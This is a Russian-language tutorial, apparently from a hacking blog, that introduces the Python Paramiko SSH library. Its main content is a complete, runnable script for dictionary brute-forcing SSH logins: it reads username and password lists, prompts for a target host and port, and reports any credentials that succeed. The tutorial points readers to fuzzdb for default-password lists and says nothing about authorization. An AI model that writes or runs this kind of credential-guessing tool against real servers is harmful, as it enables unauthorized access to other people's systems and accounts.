Paramiko — это реализация протокола SSHv1 и SSHv2 на Python. В статье покажу, как использовать Paramiko для брута SSH на Python.
Еще по теме: SSH с использованием Paramiko на Python
Что такое Paramiko
Paramiko — это модуль, написанный на Python, который поддерживает протоколы SSHv1 и SSHv2, позволяя создавать клиентов и устанавливать соединения с SSH-серверами.
Среди основных преимуществ модуля paramiko можно выделить следующее:
- Инкапсулирует сложности, связанные с выполнением автоматизированных сценариев для SSH-серверов, в удобной и простой для понимания форме.
- Поддерживает протокол SSHv2 через модули pycrypto и cryptography для реализации операций с шифрованием открытых и закрытых ключей.
- Аутентификация по открытому ключу, аутентификацию по паролю и создание SSH-туннелей.
- Позволяет писать надежные SSH-клиенты с тем же функционалом, что и другие SSH-клиенты, такие как PuTTY или клиент OpenSSH.
- Поддерживает безопасную передачу файлов с использованием протокола SFTP.
Для работы Paramiko, для всех операций шифрования, небходимы библиотеки pycrypto и cryptography, которые позволяет создавать локальные, удаленные и динамические зашифрованные туннели.
Установка Paramiko
Можете установить paramiko из репозитория PiP Python:
1 |
$ pip3 install paramiko |
Можно установить его в версии Python 3.4+, и есть некоторые зависимости, которые должны быть установлены в вашей системе, такие как модули pycrypto и cryptography, в зависимости от того, какую версию вы собираетесь установить. Эти библиотеки обеспечивают для SSH криптографические алгоритмы низкого уровня на основе C.
Использование Paramiko для брута SSH
Мы можем реализовать метод, который принимает два файла в качестве входных данных (users.txt и passwords.txt) и с помощью брута пытается проверить все возможные комбинации пользователей и паролей.
Обратите внимание, что если мы получаем ошибку соединения, у нас есть блок исключений, где мы можем выполнять различные задачи обработки ошибок, в зависимости от того, была ли ошибка соединения из-за ошибки аутентификации ( paramiko.AuthenticationException) или ошибки соединения с сервером ( socket.error).
Файлы, связанные с именами пользователей и паролями, представляют собой простые текстовые файлы, которые содержат распространенные имена пользователей и пароли по умолчанию для баз данных и операционных систем. Примеры таких файлов можно найти на fuzzdb.
Следующий скрипт выполнит атаку брутфорс SSH с использованием словаря пользователей и паролей.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
import paramiko import socket import time def brute_force_ssh(hostname,port,user,password): log = paramiko.util.log_to_file('log.log') ssh_client = paramiko.SSHClient() ssh_client.load_system_host_keys() ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: print('Testing credentials {}:{}'.format(user,password)) ssh_client.connect(hostname,port=port,username=user,password=password, timeout=5) print('credentials ok {}:{}'.format(user,password)) except paramiko.AuthenticationException as exception: print('AuthenticationException:',exception) except socket.error as error: print('SocketError:',error) |
В этом коде мы реализуем метод с именем brute_force_ssh(), который пытается установить соединение с SSH-сервером для каждой комбинации пользователь-пароль.
Также в этом методе мы используем инструкцию paramiko.util.log_to_file('paramiko.log') для сохранения всей активности, которую paramiko регистрирует при выполнении скрипта:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
def main(): hostname = input("Enter the target hostname: ") port = input("Enter the target port: ") users = open('users.txt','r').readlines() passwords = open('passwords.txt','r').readlines() for user in users: for password in passwords: time.sleep(3) brute_force_ssh(hostname,port,user.rstrip(),password.rstrip()) if __name__ == '__main__': main() |
В этом коде мы выполняем брут, где вызываем метод brute_force_ssh() и итерируемся по комбинациям пользователей и паролей.
При выполнении скрипта мы будем видеть, как он тестирует различные комбинации имени пользователя и пароля, пока не проверит все комбинации, которые у нас есть в файлах, или не найдет правильные учетные данные.
1 |
$ python ssh_brute_force.py |
Далее, для подключения к SSH-серверу, можно использовать модуль Pysftp.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Как взломать пароль SSH с помощью Hydra
- Получение информации об SSH при пентесте
- Брутфорс SSH с помощью Metasploit на Kali Linux